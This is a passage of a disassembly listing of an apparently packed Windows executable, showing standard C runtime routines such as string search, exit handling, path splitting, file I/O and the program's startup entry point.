					; .text:004066D1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4177DA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4177C7


loc_417778:				; CODE XREF: sub_417760+52j
					; sub_417760+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41779A
		test	al, al
		jz	short loc_417794


loc_417789:				; CODE XREF: sub_417760+32j
		mov	al, [esi]
		inc	esi


loc_41778C:				; CODE XREF: sub_417760+3Fj
		cmp	al, dl
		jz	short loc_41779A
		test	al, al
		jnz	short loc_417789


loc_417794:				; CODE XREF: sub_417760+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41779A:				; CODE XREF: sub_417760+23j
					; sub_417760+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41778C
		lea	edi, [esi-1]


loc_4177A4:				; CODE XREF: sub_417760+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4177D3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417778
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4177D3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4177A4
		jmp	short loc_417778
; ---------------------------------------------------------------------------


loc_4177C7:				; CODE XREF: sub_417760+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417B66
; ---------------------------------------------------------------------------


loc_4177D3:				; CODE XREF: sub_417760+49j
					; sub_417760+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4177DA:				; CODE XREF: sub_417760+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177E0	proc near		; CODE XREF: sub_417ED0+93p
		mov	eax, off_435A6C
		test	eax, eax
		jz	short loc_4177EB
		call	eax ; sub_415E6A


loc_4177EB:				; CODE XREF: sub_4177E0+7j
		push	offset dword_42962C
		push	offset dword_429314
		call	sub_4178E6
		push	offset dword_429210
		push	offset dword_429000
		call	sub_4178E6
		add	esp, 10h
		retn
sub_4177E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41780D	proc near		; CODE XREF: sub_417ED0+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41784D
		add	esp, 0Ch
		retn
sub_41780D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781E	proc near		; CODE XREF: .text:00417FC1p
					; sub_417FC6+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41784D
		add	esp, 0Ch
		retn
sub_41781E	endp

; ---------------------------------------------------------------------------
		push	1
		push	0
		push	0
		call	sub_41784D
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		push	1
		push	1
		push	0
		call	sub_41784D
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41784D	proc near		; CODE XREF: sub_41780D+8p
					; sub_41781E+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_49283C, edi
		jnz	short loc_41786A
		push	[esp+4+arg_0]
		call	ds:dword_4953F4	; GetCurrentProcess
		push	eax
		call	ds:dword_4953F8	; TerminateProcess


loc_41786A:				; CODE XREF: sub_41784D+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_492838, edi
		mov	byte_492834, bl
		jnz	short loc_4178BE
		mov	eax, dword_49429C
		test	eax, eax
		jz	short loc_4178AD
		mov	ecx, dword_494298
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4178AC


loc_417899:				; CODE XREF: sub_41784D+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178A1
		call	eax


loc_4178A1:				; CODE XREF: sub_41784D+50j
		sub	esi, 4
		cmp	esi, dword_49429C
		jnb	short loc_417899


loc_4178AC:				; CODE XREF: sub_41784D+4Aj
		pop	esi


loc_4178AD:				; CODE XREF: sub_41784D+3Cj
		push	offset dword_429938
		push	offset dword_429730
		call	sub_4178E6
		pop	ecx
		pop	ecx


loc_4178BE:				; CODE XREF: sub_41784D+33j
		push	offset dword_429C44
		push	offset dword_429A3C
		call	sub_4178E6
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4178E4
		push	[esp+4+arg_0]
		mov	dword_49283C, edi
		call	ds:dword_495350	; ExitProcess


loc_4178E4:				; CODE XREF: sub_41784D+85j
		pop	edi
		retn
sub_41784D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178E6	proc near		; CODE XREF: sub_4177E0+15p
					; sub_4177E0+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4178EB:				; CODE XREF: sub_4178E6+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4178FE
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178F9
		call	eax


loc_4178F9:				; CODE XREF: sub_4178E6+Fj
		add	esi, 4
		jmp	short loc_4178EB
; ---------------------------------------------------------------------------


loc_4178FE:				; CODE XREF: sub_4178E6+9j
		pop	esi
		retn
sub_4178E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417900	proc near		; CODE XREF: sub_407BA3+FAp
					; sub_4087B3+3E6Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4158E0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41793B
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41793B
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_417937
		push	2
		push	ebx
		push	esi
		call	sub_41CAD5
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_417937:				; CODE XREF: sub_417900+25j
		inc	ebx
		inc	ebx
		jmp	short loc_417945
; ---------------------------------------------------------------------------


loc_41793B:				; CODE XREF: sub_417900+18j
					; sub_417900+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_417945
		and	byte ptr [eax],	0


loc_417945:				; CODE XREF: sub_417900+39j
					; sub_417900+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4179BD


loc_417958:				; CODE XREF: sub_417900+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_494141[edx], 4
		jz	short loc_417969
		inc	eax
		jmp	short loc_417983
; ---------------------------------------------------------------------------


loc_417969:				; CODE XREF: sub_417900+64j
		cmp	cl, 2Fh
		jz	short loc_41797D
		cmp	cl, 5Ch
		jz	short loc_41797D
		cmp	cl, 2Eh
		jnz	short loc_417983
		mov	[ebp+var_4], eax
		jmp	short loc_417983
; ---------------------------------------------------------------------------


loc_41797D:				; CODE XREF: sub_417900+6Cj
					; sub_417900+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_417983:				; CODE XREF: sub_417900+67j
					; sub_417900+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417958
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4179BD
		cmp	[ebp+arg_8], 0
		jz	short loc_4179B8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4179A1
		mov	edi, esi


loc_4179A1:				; CODE XREF: sub_417900+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41CAD5
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4179B8:				; CODE XREF: sub_417900+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4179C7
; ---------------------------------------------------------------------------


loc_4179BD:				; CODE XREF: sub_417900+56j
					; sub_417900+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4179C7
		and	byte ptr [ecx],	0


loc_4179C7:				; CODE XREF: sub_417900+BBj
					; sub_417900+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417A1A
		cmp	edi, ebx
		jb	short loc_417A1A
		cmp	[ebp+arg_C], 0
		jz	short loc_4179F7
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4179E0
		mov	edi, esi


loc_4179E0:				; CODE XREF: sub_417900+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CAD5
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4179F7:				; CODE XREF: sub_417900+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_417A42
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_417A07
		mov	esi, eax


loc_417A07:				; CODE XREF: sub_417900+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41CAD5
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_417A42
; ---------------------------------------------------------------------------


loc_417A1A:				; CODE XREF: sub_417900+CCj
					; sub_417900+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417A38
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417A29
		mov	esi, eax


loc_417A29:				; CODE XREF: sub_417900+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41CAD5
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417A38:				; CODE XREF: sub_417900+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_417A42
		and	byte ptr [eax],	0


loc_417A42:				; CODE XREF: sub_417900+FCj
					; sub_417900+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A47	proc near		; CODE XREF: sub_4087B3+341Ep
					; sub_4087B3+344Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417A5B
		xor	eax, eax
		jmp	short loc_417A91
; ---------------------------------------------------------------------------


loc_417A5B:				; CODE XREF: sub_417A47+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417A8B
		mov	esi, [ebp+arg_8]


loc_417A64:				; CODE XREF: sub_417A47+42j
		dec	dword ptr [esi+4]
		js	short loc_417A73
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_417A7A
; ---------------------------------------------------------------------------


loc_417A73:				; CODE XREF: sub_417A47+20j
		push	esi
		call	sub_41C031
		pop	ecx


loc_417A7A:				; CODE XREF: sub_417A47+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417A95
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417A8B
		dec	[ebp+arg_4]
		jnz	short loc_417A64


loc_417A8B:				; CODE XREF: sub_417A47+18j
					; sub_417A47+3Dj ...
		and	byte ptr [edi],	0


loc_417A8E:				; CODE XREF: sub_417A47+55j
		mov	eax, ebx
		pop	esi


loc_417A91:				; CODE XREF: sub_417A47+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417A95:				; CODE XREF: sub_417A47+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417A8B
		xor	ebx, ebx
		jmp	short loc_417A8E
sub_417A47	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A9E	proc near		; CODE XREF: sub_4087B3+20C1p
					; .text:00417ACCp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_495394	; DeleteFileA
		test	eax, eax
		jnz	short loc_417AB4
		call	ds:dword_495328	; RtlGetLastWin32Error
		jmp	short loc_417AB6
; ---------------------------------------------------------------------------


loc_417AB4:				; CODE XREF: sub_417A9E+Cj
		xor	eax, eax


loc_417AB6:				; CODE XREF: sub_417A9E+14j
		test	eax, eax
		jz	short loc_417AC5
		push	eax
		call	sub_41C4E8
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417AC5:				; CODE XREF: sub_417A9E+1Aj
		xor	eax, eax
		retn
sub_417A9E	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		call	sub_417A9E
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AD3	proc near		; CODE XREF: sub_4087B3+2018p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41CB5F
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AAED
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41CBEC
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417AD3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B10	proc near		; CODE XREF: sub_4087B3+7F3p
					; sub_4145E8+2ACp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_417B41
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_417B3F
		jz	short loc_417B41
		dec	ecx
		dec	ecx


loc_417B3F:				; CODE XREF: sub_417B10+29j
		not	ecx


loc_417B41:				; CODE XREF: sub_417B10+9j
					; sub_417B10+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_417B10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417B60


loc_417B50:				; CODE XREF: sub_417B60+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417B60
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_4087B3+411p
					; sub_4087B3+4C0p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417B50 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_417B66:				; CODE XREF: sub_417760+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_417B8B


loc_417B78:				; CODE XREF: sub_417B60+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417B50
		test	cl, cl
		jz	short loc_417BD4
		test	edx, 3
		jnz	short loc_417B78


loc_417B8B:				; CODE XREF: sub_417B60+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_417B96:				; CODE XREF: sub_417B60+61j
					; sub_417B60+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_417BD8
		and	eax, 81010100h
		jz	short loc_417B96
		and	eax, 1010100h
		jnz	short loc_417BD2
		and	esi, 80000000h
		jnz	short loc_417B96


loc_417BD2:				; CODE XREF: sub_417B60+68j
					; sub_417B60+81j ...
		pop	esi
		pop	edi


loc_417BD4:				; CODE XREF: sub_417B60+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417BD8:				; CODE XREF: sub_417B60+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417C15
		test	al, al
		jz	short loc_417BD2
		cmp	ah, bl
		jz	short loc_417C0E
		test	ah, ah
		jz	short loc_417BD2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417C07
		test	al, al
		jz	short loc_417BD2
		cmp	ah, bl
		jz	short loc_417C00
		test	ah, ah
		jz	short loc_417BD2
		jmp	short loc_417B96
; ---------------------------------------------------------------------------


loc_417C00:				; CODE XREF: sub_417B60+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417C07:				; CODE XREF: sub_417B60+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417C0E:				; CODE XREF: sub_417B60+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417C15:				; CODE XREF: sub_417B60+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		add	eax, 20h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C24	proc near		; CODE XREF: sub_40FB1A+6p
					; sub_40FB3F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_49288C, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_417C51
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_417CEA
		cmp	eax, 5Ah
		jg	loc_417CEA
		add	eax, 20h
		jmp	loc_417CEA
; ---------------------------------------------------------------------------


loc_417C51:				; CODE XREF: sub_417C24+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_417C85
		cmp	dword_435E38, esi
		jle	short loc_417C73
		push	esi
		push	ebx
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_417C7D
; ---------------------------------------------------------------------------


loc_417C73:				; CODE XREF: sub_417C24+42j
		mov	eax, off_435C2C
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_417C7D:				; CODE XREF: sub_417C24+4Dj
		test	eax, eax
		jnz	short loc_417C85


loc_417C81:				; CODE XREF: sub_417C24+ADj
		mov	eax, ebx
		jmp	short loc_417CEA
; ---------------------------------------------------------------------------


loc_417C85:				; CODE XREF: sub_417C24+3Aj
					; sub_417C24+5Bj
		mov	edx, off_435C2C
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417CA9
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_417CB2
; ---------------------------------------------------------------------------


loc_417CA9:				; CODE XREF: sub_417C24+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_417CB2:				; CODE XREF: sub_417C24+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_49288C
		call	sub_41CC29
		add	esp, 20h
		test	eax, eax
		jz	short loc_417C81
		cmp	eax, esi
		jnz	short loc_417CDD
		movzx	eax, [ebp+var_4]
		jmp	short loc_417CEA
; ---------------------------------------------------------------------------


loc_417CDD:				; CODE XREF: sub_417C24+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_417CEA:				; CODE XREF: sub_417C24+16j
					; sub_417C24+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417C24	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CEF	proc near		; CODE XREF: sub_4113B6+55p
					; sub_412976+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_417D06


loc_417CFC:				; CODE XREF: sub_417CEF+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_417CFC


loc_417D06:				; CODE XREF: sub_417CEF+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_417CEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D0C	proc near		; CODE XREF: sub_4113B6+19p
					; sub_4113B6+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417DD9
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417E06
		cmp	dword_49288C, esi
		jnz	short loc_417D5D
		cmp	edi, esi
		jbe	loc_417E06


loc_417D3C:				; CODE XREF: sub_417D0C+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417E06
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417D3C
		jmp	loc_417E06
; ---------------------------------------------------------------------------


loc_417D5D:				; CODE XREF: sub_417D0C+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_4953EC
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_49289C
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417E05
		call	ds:dword_495328	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417D97


loc_417D88:				; CODE XREF: sub_417D0C+CBj
					; sub_417D0C+F7j
		mov	dword_4927F4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417E06
; ---------------------------------------------------------------------------


loc_417D97:				; CODE XREF: sub_417D0C+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417D9F:				; CODE XREF: sub_417D0C+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417DC1
		mov	edx, off_435C2C
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417DB6
		inc	eax


loc_417DB6:				; CODE XREF: sub_417D0C+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417D9F


loc_417DC1:				; CODE XREF: sub_417D0C+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_49289C
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417E06
		jmp	short loc_417D88
; ---------------------------------------------------------------------------


loc_417DD9:				; CODE XREF: sub_417D0C+Fj
		cmp	dword_49288C, esi
		jnz	short loc_417DEC
		push	[ebp+arg_4]
		call	sub_4158E0
		pop	ecx
		jmp	short loc_417E06
; ---------------------------------------------------------------------------


loc_417DEC:				; CODE XREF: sub_417D0C+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_49289C
		call	ds:dword_4953EC	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417D88


loc_417E05:				; CODE XREF: sub_417D0C+6Bj
		dec	eax


loc_417E06:				; CODE XREF: sub_417D0C+1Aj
					; sub_417D0C+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417D0C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417E10	proc near		; CODE XREF: sub_413B9E+11Bp
					; .text:00416D61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417E29
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417E29:				; CODE XREF: sub_417E10+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417E10	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E44	proc near		; CODE XREF: sub_4145E8+2E2p
					; sub_4145E8+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_417EC0
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_417E63
		cmp	edi, 1
		jz	short loc_417E63
		cmp	edi, 2
		jnz	short loc_417EC0


loc_417E63:				; CODE XREF: sub_417E44+13j
					; sub_417E44+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_417E7A
		push	esi
		call	sub_41CF12
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_417E7A:				; CODE XREF: sub_417E44+27j
		push	esi
		call	sub_41BF5F
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_417E8F
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_417EA3
; ---------------------------------------------------------------------------


loc_417E8F:				; CODE XREF: sub_417E44+42j
		test	al, 1
		jz	short loc_417EA3
		test	al, 8
		jz	short loc_417EA3
		test	ah, 4
		jnz	short loc_417EA3
		mov	dword ptr [esi+18h], 200h


loc_417EA3:				; CODE XREF: sub_417E44+49j
					; sub_417E44+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41CE78
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_417ECD
; ---------------------------------------------------------------------------


loc_417EC0:				; CODE XREF: sub_417E44+Bj
					; sub_417E44+1Dj
		mov	dword_4927F4, 16h
		or	eax, 0FFFFFFFFh


loc_417ECD:				; CODE XREF: sub_417E44+7Aj
		pop	edi
		pop	esi
		retn
sub_417E44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ED0	proc near		; DATA XREF: .nPack:off_496E00o

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4275E8
		push	offset sub_41D854
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	ds:dword_495448	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_49280C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_492808, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_492804, ecx
		shr	eax, 10h
		mov	dword_492800, eax
		xor	esi, esi
		push	esi
		call	sub_41820B
		pop	ecx
		test	eax, eax
		jnz	short loc_417F3C
		push	1Ch
		call	sub_417FEB
		pop	ecx


loc_417F3C:				; CODE XREF: sub_417ED0+62j
		mov	[ebp+var_4], esi
		call	sub_41D67E
		call	ds:dword_495444	; GetCommandLineA
		mov	dword_494278, eax
		call	sub_41D54C
		mov	dword_492840, eax
		call	sub_41D2FF
		call	sub_41D246
		call	sub_4177E0
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	ds:dword_495440	; GetStartupInfoA
		call	sub_41D1EE
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_417F89
		movzx	eax, [ebp+var_2C]
		jmp	short loc_417F8C
; ---------------------------------------------------------------------------


loc_417F89:				; CODE XREF: sub_417ED0+B1j
		push	0Ah
		pop	eax


